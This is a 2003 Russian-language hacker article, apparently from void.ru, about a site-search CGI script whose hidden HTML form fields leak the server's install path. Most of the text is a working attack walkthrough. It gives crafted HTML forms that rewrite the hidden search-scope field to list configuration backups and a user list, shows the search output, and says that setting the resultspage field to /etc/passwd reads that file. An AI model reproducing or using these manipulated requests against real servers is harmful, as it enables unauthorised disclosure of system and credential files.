This webpage has been robot translated, sorry for typos if any. To view the original content of the page, simply replace the translation subdomain with www in the address bar or use this link.

Утечка информации о сервере через скрытые поля html-кода

Утечка информации о сервере через скрытые поля html-кода
[ 2003/10/08,durito ]Сколько раз уже говорили о опасности сокрытой в скрытых формах, но все равно встречаются умельцы, которые пренебрегают ею.
В html-коде index'ной страницы сервера www.xxx.com есть такой вот фрагмент: (ненужные элементы дизайна удалены)
             <form method=POST action="../../cgi-bin/wsmsearch2.cgi">Search Site: <input type=text name="terms" size=20><input type=hidden name=boolean value="AND"><input type=hidden name=case value="Insensitive"><input type=hidden name=quicksearch value="NO"><input type=hidden name=max value="50"><input type=hidden name=faqfile value="/opt2/xxx/httpd/htdocs _
http://www.xxx.com/ _ *.*
manual/ updates/ _ http://www.xxx.com"><input type=hidden name=resultspage
value="/opt2/xxx/httpd/htdocs/results.html"><input type=submit value="Search!">
             
как уже стало понятно, это скрипт поисковой системы по сайту. но вот эти строчки особенно интересны:
             <input type=hidden name=faqfile value="/opt2/xxx/httpd/htdocs _
http://www.xxx.com/ _ *.*
manual/ updates/ _ http://www.xxx.com"><input type=hidden name=resultspage
value="/opt2/xxx/httpd/htdocs/results.html">
             
/opt2/xxx/httpd/htdocs - это инсталяционный путь сайта, но это еще не все.
скрипт поиска берет свои данные из скрытых форм:
             <input type=hidden name=boolean value="AND"><input type=hidden name=case value="Insensitive"><input type=hidden name=quicksearch value="NO"><input type=hidden name=max value="50"><input type=hidden name=faqfile value="/opt2/xxx/httpd/htdocs _
http://www.xxx.com/ _ *.*
manual/ updates/ _ http://www.xxx.com"><input type=hidden name=resultspage
value="/opt2/xxx/httpd/htdocs/results.html">
             
то есть поиск производиться в папках: manual/ updates/ и корневой папке сервера http://www.xxx.com/ _ *.*
(интересно что с помощью этого поикового скрипта был обнаружен файл: www_xxx_user_list.txt в корне сервера, это список юзеров).

так вот здесь можно манипулировать запросами скрипта. создаем html вот с таким кодом:
             <form method=POST
action="../../../www.xxx.com/cgi-bin/wsmsearch2.cgi">Search Site: <input type=text name="terms" size=20><input type=hidden name=boolean value="AND"><input type=hidden name=case value="Insensitive"><input type=hidden name=quicksearch value="NO"><input type=hidden name=max value="50"><input type=hidden name=faqfile value="/opt2/xxx/httpd/htdocs"><input type=hidden name=resultspage
value="/opt2/xxx/httpd/htdocs/results.html"><input type=submit value="Search!">
             
то есть просто убираем строчки: _ http://www.xxx.com/ _ *.* manual/ updates/ _ http://www.xxx.com и выполняем поисковый запрос по всему сайту.
так же можно искать файлы и в /opt2/xxx/httpd/htdocs/cgi-bin/ :
             <form method=POST
action="../../../www.xxx.com/cgi-bin/wsmsearch2.cgi">Search Site: <input type=text name="terms" size=20><input type=hidden name=boolean value="AND"><input type=hidden name=case value="Insensitive"><input type=hidden name=quicksearch value="NO"><input type=hidden name=max value="50"><input type=hidden name=faqfile value="/opt2/xxx/httpd/htdocs_
http://www.xxx.com/ _ *.*
cgi-bin/ _ http://www.xxx.com"><input type=hidden name=resultspage
value="/opt2/xxx/httpd/htdocs/results.html"><input type=submit value="Search!">
             
вот что было обнаружено в результате этих запросов:
Here are your search results for the keyword(s) conf.dont_use in order of
relevance.

1) conf.dont_use/srm.conf.old SIZE: 7354 bytes TYPE: Unknown
Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
partial matches: 0
2) conf.dont_use/srm.conf SIZE: 7436 bytes TYPE: Unknown
Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
partial matches: 0
3) conf.dont_use/sessiond.conf SIZE: 159 bytes TYPE: Unknown
Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
partial matches: 0
4) conf.dont_use/mime.types SIZE: 2652 bytes TYPE: Unknown
Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
partial matches: 0
5) conf.dont_use/imagemap.conf SIZE: 1062 bytes TYPE: Unknown
Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
partial matches: 0
6) conf.dont_use/httpsd.conf.dave SIZE: 43652 bytes TYPE: Unknown
Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
partial matches: 0
7) conf.dont_use/httpsd.conf.11-20-2001 SIZE: 43841 bytes TYPE: Unknown
Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
partial matches: 0
8) conf.dont_use/httpsd.conf-backup SIZE: 13243 bytes TYPE: Unknown
Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
partial matches: 0
9) conf.dont_use/httpsd.conf SIZE: 43927 bytes TYPE: Unknown
Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
partial matches: 0
10) conf.dont_use/httpd.conf.vhback SIZE: 7225 bytes TYPE: Unknown
Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
partial matches: 0
11) conf.dont_use/httpd.conf.11-20-2001 SIZE: 7451 bytes TYPE: Unknown
Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
partial matches: 0
12) conf.dont_use/httpd.conf SIZE: 7451 bytes TYPE: Unknown
Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
partial matches: 0
13) conf.dont_use/access.conf SIZE: 1725 bytes TYPE: Unknown
Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
partial matches: 0
и еще один скрипт:
Here are your search results for the keyword(s) securedata in order of
relevance.

1) cgi-bin/conf.dont_use/resetsecuredata.cgi SIZE: bytes TYPE: CGIsсript
Term: securedata Filename matches: 0,1 Title matches: 0,0 exact matches: 0
partial matches: 0

Ну а всеми любимый /etc/passwd получается совсем просто : достаточно просто значение скрытого поля resultspage заменить на /etc/passwd.

Вот так вот иногда администраторы сервера пытаются залатать всевозможные дыры, накатывая последние патчи, а информация утекает просто из html-кода.

твой bug Durito
_________________
EAT THE RICH!

Copyright 2002-2003 by void.ru All rights reserved.

Дата створення/оновлення: 25.05.2018

stop war in Ukraine

ukrTrident

stand with Ukraine